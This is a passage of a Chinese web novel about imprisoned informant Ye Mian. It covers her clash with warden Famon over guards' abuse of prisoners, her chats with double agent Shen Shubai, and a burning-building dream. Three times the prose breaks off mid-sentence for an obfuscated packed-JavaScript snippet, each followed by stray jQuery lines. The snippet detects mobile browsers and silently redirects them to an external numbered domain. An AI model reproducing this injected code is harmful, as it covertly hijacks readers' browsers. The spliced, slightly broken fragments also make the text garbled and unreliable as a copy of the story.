叶眠不知道,这句话得先从沈舒云转达给沈舒白,然后才能到法蒙手里。
沈舒白有点不可思议:“她竟然通过我姐联系我?她不是同意当你的卧底了吗?”
法蒙:“特制终端还在赶工。”
沈舒白:“那你给她个普通的先用着不行吗?作为你的下属,联系你还要借用别人的终端,再过两张嘴,才能传到圣听。”
“她是囚犯。”法蒙淡淡地说。
他人已经在去C监的路上。
“……得了便宜还卖乖,”沈舒白说,“我们都知道,她杀的是谁。”
这些小插曲叶眠自然不知,她只知道,第三次见到法蒙是在自己的闺房。
写作闺,读作病。
“老大,你知道你手下在虐待犯人吗?”她窝在被子里,头上顶着一个铁架子,连动都不能动。
法蒙皱眉:“怎么把自己搞成这样了?”
上次见面还是活蹦乱跳的。
“你还没回答我,”叶眠很执着,“所以,你知道吗?”
“知道一些。”法蒙没有说谎。
“那你知道,他把人放进多人牢房,看他们厮杀、搏斗,让狱警们下注供他们取乐吗?”
法蒙不否认自己知情,他只是束手旁观:“做错事的人需要惩罚,但没你说的那么严重。”
黑兔子办事还算有数,C监旧秩序持续这么多年一直稳定,只要事不闹大,法蒙不认为需要他亲自下场。
“哪怕是一方摘掉镣铐的虐杀,涉及私人恩怨也算是‘需要惩罚’?”叶眠冷笑,“所谓‘没那么严重’,就是我亲历一遍,然后被你轻飘飘一句带过?”
“金属镣铐内置报警程序,直接联系到典狱长个人终端,”法蒙断然否认,他自然有他的依据,“不可能有人摘了镣铐而我一无所知。”
“手底下都翻天了还在感觉良好,长官,C监手铐报警只靠联网,狱警装个信号屏蔽器,就能随便糊弄你了。”
法蒙稍稍变色,叶眠毫不客气地说:“查查7001的监控吧,查查监控室的监控吧,如果黑兔子足够谨慎,昨晚的很可能已经被人为覆盖掉了。”
“你怎么知道是联网?”法蒙眉梢微紧。
“不知道我怎么知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224745|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道的?”
叶眠皮笑肉不笑:“为了让我松口答应你的交易,医院那场骚动可真是轻拿轻放。你对你想做的事不择手段,但对你认为无所谓的事就是完全的隔岸观火。”
这话讽刺他不作为已经到了有些刺耳的地步,法蒙袖子里的手指微微捏紧。
“法蒙,我以为你是个正义的人,”叶眠有些失望地说,“但现在我觉得,你的正义只是功利与冷漠。”
就在这时,终端响起。
——正是黑兔子的消息。
“让我猜猜,是不是黑兔子的自首信到了?”叶眠说,“他是不是把自己痛骂一顿,请求革除官职?大事化小小事化了,如果我没要求见你一面、讲清楚这些,你是不是还会觉得,C监的狱警只是犯点小错、翻不出什么事情?”
黑兔子收敛地讲述了昨夜这场事故的首末,比对叶眠的口供,法蒙不难看出孰是孰非。
叶眠没有点到为止,反而把话题扯向更高的层次:“如果连监狱都管理不好,你凭什么管得好边境,凭什么让军部信任你?”
“放任不是无视,法蒙,这是无能。”她语气不轻不重,但意味深长。
法蒙收起终端:“所有监控都会传送实时备份,我会清查。如果你的说法没有夸大,此事确实是我失职。”
他注意到她脖子上的掐痕,红棕色的印子留在白皙的皮肤上,十分扎眼。
“你是自愿成为典狱长的吗,法蒙?”叶眠看他也不是无可救药,软下语气问。
他没回答。
于是叶眠的下一句又强硬起来:“如果不是,希望你能把这个位置让给更合适的人。”
这句话实在有些胆大包天,法蒙表情明显阴沉了一些。
她的语气不像玩笑:“这里需要新鲜空气,不需要你妥协迁就、尸位素餐。”
叶眠咽下最后一句:眼里只有边境三师和反抗军,近处的矛盾和问题却视而不见,这就是你的责任心和担当吗?个锤子的典狱长,只会耽误C监拨乱反正!
法蒙短暂的毫无反应让叶眠心里稍微没底。
“黑兔子,我要看到他的结局。另外,我需要终端。”
“本来去监狱区是为了找你要终端,谁知道闹出这些岔子。你让一个白板直接上手情报工作?”叶眠终于说到她最初的目的,语气中带了些抱怨,也算是某种意义上的示弱。
毕竟要是不给法蒙个台阶下,万一真把他惹怒了也不好收场。
法蒙对于这一通教育和指责,出乎意料地没有反驳。
他眉头紧锁,仿佛心里进行什么长久的天人交战,最终,妥协了。
法蒙稍微搓了把脸,调整了一下表情:“是我考虑不周。”
叶眠谨慎观察着他的反应。
她没想到,法蒙只是听进去了。
作为年轻的天才中将,赞美听得太多了,已经很久没有人指着他鼻子骂他功利、没担当,更没人说过他尸位素餐、对于近处的不公袖手旁观。
父母去世后,大概只有家族里的老东西会骂他,但他们上下牙一磕就是德里克的兴亡;政治场里听不到有人公然反对他的意见;下属沉默做事从不置喙他的选择,而叶眠说的这些,不带主观上的企图、不带任何额外的尊重或谄媚,只是就事论事的交流。
所以他看着叶眠全心投入的表情,终于反思了一回,然后发现——正如她所说,是他的放任,催化了C监本就隐隐失控的混乱,间接导致重犯死亡、无辜者受伤。
虽然他仍然对这个“典狱长”身份没什么认同感,但叶眠说得没错:在其位、谋其政。
法蒙心中甚至涌现出一丝赞赏:叶绵绵,聪明、灵活、大胆,只要足够忠诚,很适合作为下属。
叶眠只觉得这人有点怪怪的。如果能听到这些心理活动,她恐怕会大笑出声。
很抽象,朋友。
不爱听好话,被骂两句就爽了。
原来典狱长的岔劈不是那个艾斯而是爱慕?
15. 第 15 章
法蒙态度的软化,叶眠是能感受到的。虽然不明白为什么,但她乐见其成。
法蒙没再藏着掖着:“作为线人的特殊终端,明天就能送到这里,里面会有你需要的资料。”
“能联系到你吗?”叶眠刻意地仰脸问。
她眼睛眨了两下,面对着那点明晃晃的期盼之色,法蒙迟疑了。
那一瞬间,他确实站在同意的边缘。
毕竟叶眠的无害摆在眼前,刚刚的对话又似乎展露了她的忠心,他不由生出点爱才之心,还有点说不清道不明的心软。
但最后还是惯常的理智占据了绝对上风,他说:“你会跟我的心腹下级交接。”
叶眠不意外,只是感觉有点可惜。
她摸了摸自己脖子上的禁制环,这件东西会是她离开C监后的最大桎梏,通向自由的拦路虎。
她暗戳戳地想:看法蒙这个严防紧守的态度,拉近关系太难,硬碰硬又太不自量力,恐怕一时半会儿还真是做不掉他。
但这个小动作落到法蒙眼里,却品出点别的意思。
那副稍显落寞的神情,戳中了铁石心肠的中将。他在这一秒内,再次感受到了一丝轻微的动摇。
法蒙语气和缓:“如果你做得好,过几年我可以取消你的禁制环,提拔你……”
“算了,”叶眠只觉得这人当领导忒不好伺候,她有话直说,“几年,太久了。”
——所以她会提前解决掉这个问题。
然而,在法蒙的视角里,谁会拒绝他的招揽?无非是她心口不一的抱怨。
他宽宏地想:刘仁花了十年才成为我的心腹,你嫌几年太久,可要加倍努力。
“黑兔子的处理这两天就能下来,到时候我会通知你,”法蒙起身,把外套搭在臂弯,“他会获得应得的惩罚。”
叶眠两个目的达成,心情也不错:“行,您慢走哈。”
法蒙稍微皱眉,就这?
没有感谢也没有其他表示?
两人对视。
叶眠:男人心思好难猜。
但不得不说,她确实摸着点他的脾气了,索性直接开口问:“还有什么需要我做的吗?”
法蒙目光沉沉地看了她几秒,又像是突然清醒了一样,什么话都没说,转身就走。摔门的声音透出一点匆忙和狼狈,留叶眠一个人在后面迷惑不解。
他咋了?
*
【叶眠术后第九天】
因为头上的铁架子,叶眠收到的命令是卧床三天整,连饭都是护士给她捎过来的。
“我不理解。拆完钢筋第二天我就能下床,但现在只是加固,我动都不能动。”叶眠抱怨说,勺子在咸甜的稀粥里搅来搅去,糜烂的圆形米粒在浑浊的液体中浮沉。
“生长因子跟普通外框架能一样吗?”护士看出她根本不饿,于是不客气地收走了饭碗,“何况其实之前你也应该卧床休息,是你自己乱跑的。”
叶眠长叹一声:“闲不住啊。”
“你终端不是到了吗?”护士说。
“我的列表都不理我,”叶眠悲伤地说,“如果胖子也有终端就好了,他一定会秒回我的。”
“拉米亚纳,实心眼孩子。”护士评价。
叶眠的全新特制终端里,现在只有两个名字,一个是法蒙说的“心腹下属”,刘仁,另一个则刚刚被备注了“同事”。
刘仁似乎很忙,只有最开始说了两句,叶眠这才知道,另一位也是反抗军里的线人,她的“前辈”。
“你需要的资料问他就行,文件传输怕被有心人留下备份,所以你们的聊天记录要及时删掉。同为卧底,不要问对方身份。”刘仁放下这几句,人就消失了。
出于对法蒙手下牛马亲信的尊重,叶眠转而开始骚扰这位素昧谋面的同事。
遇到困难睡大觉:“你好,请问你是gg还是mm?”
叶眠发完才察觉,这句话有点像古早网聊搭讪,但——害,发都发了。
她手速飞快,脑袋不能动,不影响十指翻飞,甚至把键盘敲出残影。
遇到困难睡大觉:“以后咱们就是同事了,卧底是高危职业,初来乍到劳烦你多多关照了哈。”
遇到困难睡大觉:“老师在哪个部门高就啊?咱们组织好混吗?反抗军伙食怎么样啊?”
遇到困难睡大觉:“听说指挥使陆风是个花心大罗北,这事儿你有耳闻伐?”
遇到困难睡大觉:“老师你不回消息是遇到麻烦了吗?”
另一头的沈舒白刚在反抗军基地办完“入职手续”,终端的震动让他差点挂不住礼貌的微笑。
陆风把墨镜拉到鼻尖,镜框上沿露出一双深棕色的眼睛。
他有些疑惑:“小沈,你谈恋爱了吗?怎么终端响这么频繁?”
沈舒白把通讯提示挂到静音,干笑:“哈哈怎么会,我这么多年你又不是不知道。”
“真奇怪,”陆风摸了摸下巴上的胡茬,“你长得又不丑,能力也不弱,怎么也称得上一句一表人才,怎么这么久也没谈个对象?”
沈舒白内心吐槽,自从决定放弃叶绵绵后,陆风好像突然觉醒了给人拉郎的爱好。
他语气无奈:“老大,你觉得反抗军编外医疗队任务很轻吗?法蒙不管人在哪,给我安排的事是一点没少,我说你们一个个的,谁还记得我没毕业啊?”
陆风笑:“能者多劳嘛。”
沈舒白一脸沧桑地摇头叹气,没说话。
——老大,你不懂。打两份工,真的没时间谈恋爱啊TT
是的,沈舒白作为一个非典型双面间谍,几乎全部时间都被这两份工作和永远不轻快的学业占满了。
在陆风眼里,沈舒白是法蒙交了半个心的朋友。
在法蒙眼里,沈舒白是自己安插进反抗军的线人。
那,在沈舒白眼里?
其实最一开始,他只是想多加几个社团凑学分……
事情就是这么巧,大学时期的沈舒白同时结识了革命党和反抗军的人,阴差阳错发展到今日,他走得坦坦荡荡又战战兢兢,已经说不清自己到底是站在哪边的了。
好不容易送别了陆风,沈舒白在基地宿舍床上一瘫,终于想起来自己终端上攒的那一堆消息。
他打开终端,眼尖地看到了最新一条消息。
“同事兄弟,咱们组织内部男女比例怎么样?美女帅哥多吗[色]”
沈舒白眯着眼睛,盯这句话半晌。
——他在思考这位“遇到困难睡大觉”到底何许人也。
半分钟过去了,他“腾”地一下坐了起来。
——这是法蒙安排的新线人。法蒙原话是“稍微带带她”。
联系到最近他们的讨论内容,所以对面是……叶绵绵??
沈舒白神色肃然、如临大敌。他往上翻,一直找到最前面的几条消息。
“同事……兄弟?”他喃喃地念出声。
放下终端,他双眼发空,但脑子却被各种念头塞满了。
叶绵绵?
记忆里那个懂事乖巧的形象浮现。
怎么可能?
叶绵绵名义上是陆风的私人秘书,但实际上并不贴身,甚至这两年里大多数时候都见不着两人同框。
沈舒白跟陆风混的关系不错,偶尔会撞到他们二人相处。那是种难以言说的氛围,暧昧、熟稔、但又保持着一点距离感,沈舒白每次见每次想:古怪、忒古怪。
他一直没摸清陆叶二人之间具体是什么情况,直到两个月前的一个周一,他去找陆风说事。
沈舒白亲眼看到叶绵绵从陆风的办公室出来,嘴唇红肿、眼里含着水色,衣领被撕破、脖子上露出一些半遮半掩的红痕。
两人猝然对视,叶绵绵咬住下唇,满脸赧然之色,一跺脚,拽着衣服从他身边跑了过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224746|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈舒白的专业素养第一时间给出了反馈:吸吮性瘀斑!咬痕!表皮剥脱!
脑子转太快,等想清楚,他恨不得挖掉自己眼睛。
沈舒白再迟钝也知道是怎么回事了,但陆风不公开,他也只能装不知道,转头在心里吐槽过不知道多少次,但还是没跟别人说。
又过了两周,他收到了一个据说能保平安的挂坠,附信字体清秀,只写了两个字:“谢谢。”
沈舒白抓狂:叶女士!这么暧昧的东西能送吗!被陆风看到怎么解释啊!
从那以后,他再抱着答案看问题,叶绵绵那种缠绵的眼神、混着爱慕和敬仰的表情,还有无动于衷但又偶尔给出回应的陆风,一切都有了答案。
旁观者清,这是个痴心女子单恋指挥使上司的故事。
之后的这段时间里又发生了一些意外,现在的沈舒白回忆起来,也不知道自己插手是对是错。
前脚叶绵绵用不知名手段杀了蒋仕临,后脚就进了审判庭,很快被抓进了法蒙的新地盘——C监。
陆风知情,但没有动用他的关系,表明了对这枚“弃子”的态度。
沈舒白正巧路过C监,抱着“来都来了”的想法,保了叶绵绵一条命。
钢筋入脑手术救命还不够,听护士说叶绵绵反杀同室“狱友”的事情之后,沈舒白想着救人救到底,为了让法蒙出手从二判死刑下留她一命,他主动暴露了叶绵绵的身份。
——只有有用的人才能得到法蒙的另眼相待。
然后,现世报来了。
沈舒白重新拿起终端,不知道抱着哪种心情,发出了第一句话:“你好。”
然后又补了一句:“是gg。”
叶眠那边“扑哧”一下。
好正经的同事!
遇到困难睡大觉:“同事兄弟[敬礼],我是老大新安排的卧底,咱们到底是个什么组织?这能问吗?”
白干全白干:“老大没说吗?我们是革命党。”
革命党?
叶眠迷惑,问:“怎么听起来跟反抗军有点像?”
沈舒白坐直身体,没有第一时间回复。
革命党,是常识吧?
叶绵绵给他的感觉,好像不太对劲。
或许应该给对方做个术后检查,确认一下大脑恢复情况?
白干全白干:“革命党是联盟议会的内部派系之一,但反抗军是反联盟的非法武装分子。”
叶眠还是有点茫然,但也从对面刚刚的沉默中读到了一点问题,干脆透底:“不瞒你说,我撞坏了脑袋,所以失去了一部分记忆。”
沈舒白倒抽一口冷气。
她可不是他这种技术型卧底,感情型卧底叠上失忆buff,这是地狱难度啊!
白干全白干:“革命党是议会近几年兴起的议会派系,旨在改换旧秩序,夺回公民权利、恢复真正的民主。”
叶眠挑眉:咦?法蒙还是有点理想的。
遇到困难睡大觉:“那咱们跟顽固派的议会席位,能达到多少比例?[笑脸]”
好犀利的问题,沈舒白在心里默默叹气。
白干全白干:“1:5。我们这几年才开始发展,根基比较浅,顽固派官官相护、树大根深,正面对抗,我们确实弱势。”
遇到困难睡大觉:“那你觉得革命党和反抗军,一个文斗、一个武斗,哪个前途更好呢?[大笑]”
沈舒白手指停顿,心里提起了点警惕。
这个问题或许对其他人没什么威力,但对他这个双面间谍来说却是直击痛点。
白干全白干:“那当然是革命党了[微笑]。”
白干全白干:“能避免战争的话,当然还是和平手段更好啦[微笑]。”
叶眠放下终端,看向病房的窗外。
连监狱都烂到狱警肆意处置囚徒的地步了,联盟沉疴之深,真是政斗换届能解决的吗?
16. 第 16 章
“原来如此。”
发完这句,对面的叶绵绵就不说话了,沈舒白有点忐忑地放下了终端。
说实话,他不太理解。
一个那么喜欢陆风的人突然态度180大转弯,说投敌就投敌,失忆完除了说陆风花心萝北之外,甚至不肯提他半个字。
自认算得上陆风半个朋友,沈舒白决定替他说句话。
白干全白干:“陆风吧,其实人也还行,至少没有花心滥情。”
遇到困难睡大觉:“你说是就是吧。”
沈舒白:?
难道陆风真做了什么对不起叶绵绵的事?
白干全白干:“除了你,我没看到他跟别的女性建立亲密关系。”
遇到困难睡大觉:“噢你知道我身份啊,那你觉得他喜欢我吗?是喜欢我的肉|体还是喜欢我的灵魂?[疑问]”
沈舒白手再次僵在原地。
啊?问我吗?
我该知道吗?
遇到困难睡大觉:“我落难他甚至没有任何表示,呵,男人[生气]。”
沈舒白找补:“听他说过两天要去亲自接你。”
亲自接我?真的假的?
叶眠眯眼:还是不对。
遇到困难睡大觉:“前审判长是顽固派的人吧?”
白干全白干:“是。”
叶眠脑筋飞转:叶绵绵喜欢陆风,所以听从陆风命令,杀了蒋仕临,然后锒铛入狱,陆风轻飘飘一句两周后出来,但完全没有捞人的行为,全靠她跟法蒙拉扯自救……
遇到困难睡大觉:“咦?我不是弃子吗?[大笑]”
沈舒白额头冒出点冷汗,心里为陆风点了一炷香。
事实上,就是这样。
陆风想让蒋仕临死,不惜一切代价,所以叶绵绵是用完就扔的工具,但是这能说的吗?他只能装傻。
白干全白干:“[疑惑]。”
叶眠心道,这位同事的态度也很古怪。明明是革命党的人,却跟法蒙对反抗军的态度不太一样,对陆风没什么抵触,甚至还会给他说好话。
她留了个心眼。
遇到困难睡大觉:“[微笑]。”
遇到困难睡大觉:“如果几句话就能说明他怎么喜欢怎么爱,我还不如跟录音机恋爱。”
遇到困难睡大觉:“情海无涯我已上岸。反抗军权力架构和陆风个人喜好发我,该干活了,同事哥。”
沈舒白丈二摸不着头脑,不明白叶绵绵怎么突然这么洒脱了。
他怎么也没想到是里面换了个芯子,现在的叶眠心里没有半点男人和情爱,每天朝思暮想的对象是彻底自由。
白干全白干:“行,晚点。”
沈舒白关了跟叶眠的对话框,紧急联系陆风:“老陆老陆老陆。”
那边回:“急事?”
白干全白干:“也不是,你还记得叶绵绵吗?”
陆风:“……”
从这省略号的六个点里,沈舒白实在读不出陆风的想法。
他想了想,打了个实时通讯过去。
“人死万事空,她的事不必再提。”陆风说完就要挂,却被沈舒白抢声:“如果她还有救呢?!”
那边一时沉默,但好歹没挂电话。
“你喜欢她吗?”沈舒白大着胆子问。
陆风笑了一声:“怎么问这个?”
“人类心理情绪研究,”沈舒白随口扯完又后悔,“算了,其实我就是好奇。”
“应该是喜欢,”没想到陆风还真回答了,“想问我为什么不救她吗?因为有更重要的事要做。”
沈舒白琢磨着,喜欢那就好办了。
“我去C监找法蒙的时候,正好是她跟囚犯起冲突重伤的那天,所以我给她用了生长因子。”
陆风意味不明地“哼”了一声:“还挺大方。”
“我知道她跟你的关系,”沈舒白搓着手指,琢磨着说,“你可能知道我知道?”
话有点绕,但陆风明白他的意思:“知道。”
你千万知道我们清清白白、我是正当理由啊。
沈舒白一边想一边说:“所以我才救她嘛。”
“她杀的那个人叫刘勇,”陆风了解的显然更多一些,“联盟黑网上排名前百的杀手,接了蒋仕临儿子的委托去杀她。”
沈舒白一愣:“你全都知道?”
那头安静了一会儿。
“只是有关注。”陆风淡淡地说。
沈舒白很想问,你都做到这一步了,为什么不动用你的人把她捞出来算了?
陆风只说:“如果你不去,她会死在刘勇手里,结果你去了,她会死在蒋钰提起的二判里。她要怎么活?”
沈舒白心想:靠投奔典狱长活。
“如果她真能活着出来……算了。”陆风顿了顿,把后半句话藏了起来。
对方话音刚落就挂了通讯,沈舒白有点懊恼话没说完。
C监里的事情陆风瞒着他就算了,但,唉,痴情的叶女士明显更惨一点。
不过,叶绵绵的转变恐怕会在陆风意料之外了。
想到这,沈舒白幸灾乐祸起来。
他有点期待两人见面的场景了。
*
那头叶眠睡了一觉起来,就看到了同事发来的大段文字。
她先看了反抗军的组织构成。
反抗军作为最大的反联盟组织,其根据地是一艘带跃迁、隐藏、攻防一体的星际母舰,补给一次可以支撑一年,因此流窜星际,一直没被联盟军抓到。
反抗军指挥使有三位,三人分工,轮流负责守家、游击、情报。比如陆风今年的职责是情报工作,他本人身份几十个,联通手下线人无数。
叶眠摸着下巴想:所以陆风应该是有能力救自己出去的。拿捏几个审判员的事情
薄情寡义的男人。
她接着往下看。
每部分职能下的层级分工都不相同,情报部门是完全是扁平化管理,除了陆风和他的副指挥使外没人能主动联系到具体线人,保证了安全,也把指挥使本人置于危险之中。
同事细心标注:目前已掌握其常用身份“陆风”,但成长轨迹真假还无法确定。目前两方对抗,革命党占优。
占优?所以边境三师被反抗军渗透的消息是假的了?
后面是陆风的个人喜好,同事同样标注:陆风善于伪装,以下仅供参考。
列了很多条,叶眠觉得总结下来只有这么几个词。
——潇洒正派心事重。纯事业批。
同事发了张“陆风”的全身照,叶眠点开一看,眉毛一挑。
如果这是陆风挑选的脸皮,那只能说他确实有点审美。
如果这是陆风本人的身材,那只能说他确实有好好锻炼。
不下于法蒙的一位选手,有点期待见面了。
*
晚饭后,叶眠见到了一个意外的人。
烟花还是一身狱警工作装,她坐姿放松,看得出心情不错。
“法蒙查证了7001的所有违规行为,惩罚通报发给了所有C监狱警。里面说,黑兔子后天进审判庭,最后的判决会由审判员决定。”
“他还有机会活下来吗?”
“黑兔子只是个暂时得势的普通人,哪里会有搭上审判庭的关系。能在C监狱兴风作浪,前靠当萨利狗腿,后靠法蒙放权不管。”
法蒙的失职在于对自己中将身份的过度看重、也在于对典狱长身份的隐隐抵触。叶眠随口说:“他这个典狱长当的真是不情不愿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224747|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这次能秉公处理,也是难得。”
“确实。我本来以为他也会是对C监内部混乱视而不见的人,这么看,以后肃清规则也不是没有希望。”
“希望C监能越来越好。”
“本来也是个让人改过自新的地方。像刘勇那种人,不配有改正的机会。”
叶眠笑了笑:“如果不是256上来就要杀我,我不会滥杀。刘勇想给刘毅报仇,其实也可以理解。”
“256跟你之前起过冲突,”烟花犹豫了一下,坦白说,“我知道这事,但没插手。那些狱卒在这荒郊野岭里也没什么娱乐,通信网络也不稳定,以折磨囚犯为乐是这里成型很久的风气。”
“害,人在其位,”叶眠也没在意,“黑兔子正得势,你不插手才是对的。”
“之后一段时间,那些人肯定会收敛一些。我会尝试重组正常的狱警班底,毕竟是自治监狱,这里的秩序需要领导和控制。”
叶眠肯定地说:“你肯定不会成为第二个黑兔子。”
烟花叹了一声:“人心易变,成你吉言。”
“其实黑兔子以前有些地方做得也不错,比如,监狱内犯人其实分几个势力类似社团,你可能不知道,他一直制衡着那些人。上边的人不会管犯人聚堆拧绳、日常吃喝,但后勤要管,要规避一些暴乱的风险。抛开他人品不看,有些手段我还得慢慢学。”她说。
叶眠想起来自己引爆的那场混乱,有些恍然。
原来冲突之下还有黑兔子的手笔,怪不得三方实力相差不大给了她可乘之机,原来是蓄意控制的结果。
“生死台跟着萨利下台消失,7001以后不会存在了。”烟花说着就准备离开,“我只是来跟你说一声,恶人有恶报,这样等你死刑执行的时候也不会留个心事了。”
她像只是来跟叶眠唠两句嗑一样,但叶眠懂了她这份“临终关怀”的心。
事以密成。
叶眠没跟任何人说自己会离开的事,此刻也只是坦然地点点头,目送她推门离开。
-
叶眠这几天过得几乎忘记了梦中大火的事情,但这一晚,火焰与高温不期而至。
在梦里睁开眼,叶眠的第一想法是骂爹。
被大火占领的建筑墙体颜色显然与上次做梦不同,空间也更加空旷——这里不是出生点一号。
太诡异了,就好像一片地图,她每次做梦都会随机刷新到一个位置。
叶眠按捺住烦躁的心情,又用上次的流程确认了一下——依然是30cm的安全圈。
好在身体上的疼痛没有带进梦境,只是灼热的感觉让人难以忍受。叶眠再次席地而坐,用异能一口气凝出最大体积的冰块,堆了一圈。
稍微舒适了一些,但冰块很快融化,她再次暴露在火焰中。
……能不能让它化得慢一点?
比如,降低冰块温度?
叶眠闭眼,双手十指相交,专注地构想着更冷的冰体。
十秒后,她睁开眼,双手之间生成了一小块浅蓝色的冰。
蓝色幽幽,但还是透明的,说明温度没有低很多。
太凉了,叶眠自己都受不了,顺手往火里一扔,滋滋的化成水汽,漫起一小片烟雾。
叶眠看着那一小块冰用更慢的速度消失,脑子里有了个想法。
把异能冰块的温度变低,似乎比让它体积变大更简单。既然她做不到一下凝出一屋子的冰把火盖灭,那能不能只用更低温的冰把自己保护起来?
她稍微歇了口气,然后就站了起来。
浅蓝色的冰层浮现在衣服上,固定住了织物的褶皱。幽幽冷意如附骨之蛆,渗进皮肤,叶眠的后牙在微微打战。
她特意把脚底冰层加厚,然后下定决心,一步,踏了出去。
17. 第 17 章
这是炼狱!听到了吗?这是炼狱!
叶眠的感官在疯狂地报警,高温灼伤带来的痛意在挑战她的神经。
她大踏步走了七步,在摇晃的火焰中,看到一座燃烧的空荡枪架。本该插在架子上的枪支不见踪影,而她身上的冰已经消融殆尽。
叶眠是痛觉超敏者。普通人觉得有点痛的伤口,对她来说就是“很痛”,当普通人觉得很痛时,对她来说已经是无可忍受的程度。
她感觉自己在痛得打哆嗦,牙关咬死,还是控制不住地“咔咔”作响。
那个隐约要被烧到底座的枪支架子出现在视野中的时候,叶眠感受到了一种致命的熟悉感。
她感受着心中滚烫的渴望和怀念——她曾见过这个枪架。
在遗失的记忆里,或许,她真的走进过这座燃烧的建筑。
前进!
眼睛被毒烟和火焰刺激到生理性泪水不断,衣服表面最后的潮湿被大火蒸尽,火舌舔上身体,像前仆后继的蛇群。
前进!
踩过的地板每一寸都在炙烤着脚底皮肤,发出焦糊的味道。
热度顺着脚底窜进小腿,叶眠感觉自己像是铁板上三分熟的鱿鱼,再烤一会儿就该刷第二遍酱的程度。
前进!
叶眠艰涩地调动异能,凝出一副悬空的寒冰面具。精神意志在动摇,但动作却没有犹豫,她可以痛不欲生,但不能就此止步,按照她的处世原则,既然已经承受了这份折磨,就绝不允许无功而返!
眼中只剩那个枪架底座,差最后两米的时候,叶眠用最后的力气扑进升腾的明火,一手卡入底座与地面之间的缝隙。
她摸出了一张银色的铁片,上面是小刀的刻痕。
铁片边缘尖锐,划伤了手指,但叶眠已经无心关注那点伤口。
刻痕是有些稚嫩的笔迹,她吃力地在大火中睁开被熏到热泪盈眶的双眼——
“代号小队,猫头鹰。”
“我们呼唤真正的民主与和平,誓要对抗一切暴力与不公。
以此信物,表我心迹,若得自由,不死不休。”
……
叶眠猛地睁眼,感觉刚刚自己又死了一次——被活活烧死的。
脑袋上的金属架子掉到一边,整个人四仰八叉地摔在地上,头有点晕,胳膊肘磕在地上,泛起一片淤青。
她保持着趴在地上的姿势,抬头看了眼窗外——天依然黑着。
叶眠慢吞吞地从地上爬起来,扶着床板,缓缓把自己挪回床上。
这次的梦看似漫长,实则短暂,暴露的信息让她忍不住有些心惊。
她确认了一些事情:
自己确实遗忘了一些过去,写着猫头鹰的铁片可能是与幼年的记忆有关。
拇指与食指相搓,叶眠回忆着那块铁片的手感。
太熟悉了,这种亲身经历的既视感,她几乎确定那铁片是自己亲手放到枪架下面的了。
所以,这座被烈火焚烧的建筑到底代表了什么?
我的过去……与脑子里这片地图有什么关系?
叶眠带着疲惫睡去,第二天在护士的手底下醒来。
“你睡觉不老实我知道,但怎么能把固定架摔到地上去?”她满脸不可思议,“病床的护栏完全没有作用吗?”
叶眠睡眼惺忪地看了一眼她手里变形的铁架,短促地开口:“啊?”
“我说,你昨晚上是不是做梦翻到地上去了,”护士一脸无语,“固定架从你头上掉了下去,摔出三四米远。”
叶眠挠头:“唉?好像是。”
她当时迷迷糊糊的,身上也没力气,能把自己躺回床上就已经很厉害了。
“算了,”护士摇头,“我算是看明白了,你这家伙不能用常理推断,人摔到地上头竟然没什么事,甚至恢复得不错。太离谱了。”
叶眠这下清醒了:“真的假的?”
她轻轻地摸了摸自己后脑勺,眼睛越瞪越大——硬了!她脑壳硬了!
护士从小车上拿下一支针管:“三级生长因子,最后一支了。”
叶眠眼睛一亮:“然后就完了?”
“是啊,你大好了,”护士带着点笑意说,“千辛万苦,颅骨是长全了,一会儿我看看外皮伤口愈合情况。”
“那我什么时候能长头发?”叶眠眨眼。
护士斜她一眼,威胁道:“头皮刀口长不好你就当秃子吧。”
经过一番详细的检查,护士最终如实说:“长得不错,过几天天拆纱布就行。”
叶眠哼着歌,去隔壁病房找胖子。
“告诉你个好消息,”叶眠坐到他床边,拍了拍把头蒙在被子里的人,“看,护士说我可以下床了,马上能拆纱布了。”
胖子掀开被子,他那只被打肿的眼睛还被包着,只能用一只眼睛看人:“咦?为什么你好这么快?我只有软组织挫伤,胳膊轻度骨裂,但医生不让我随便活动。”
叶眠想起之前两次,似乎每次梦到大火后她都的痊愈速度都会加快。这是个很诡异的事情,她一时不知道怎么跟胖子解释。
“我觉得,我可能是天选之人,”她深沉地说,“因为我有超能力。”
胖子翻了个白眼。
由于现在是个独眼龙,他这个动作显得有些滑稽:“我说姐,世道变了,人人都有超能力,你不要活在梦里。”
叶眠挠头:“噢,确实。”
胖子支棱这一下,很快又萎靡了,拉起被子就要再把头蒙起来。
“咋了?不乐意见我?”叶眠又把他挖出来。
“你的二判判决书马上就要到了,”胖子眼眶发红,“叶眠,你要死了。”
叶眠无言一瞬,看着他一副如丧考妣的神情,终于找回了一点良心。
“你且附耳过来,来。”
胖子往这凑了凑,配合地示意自己在听。
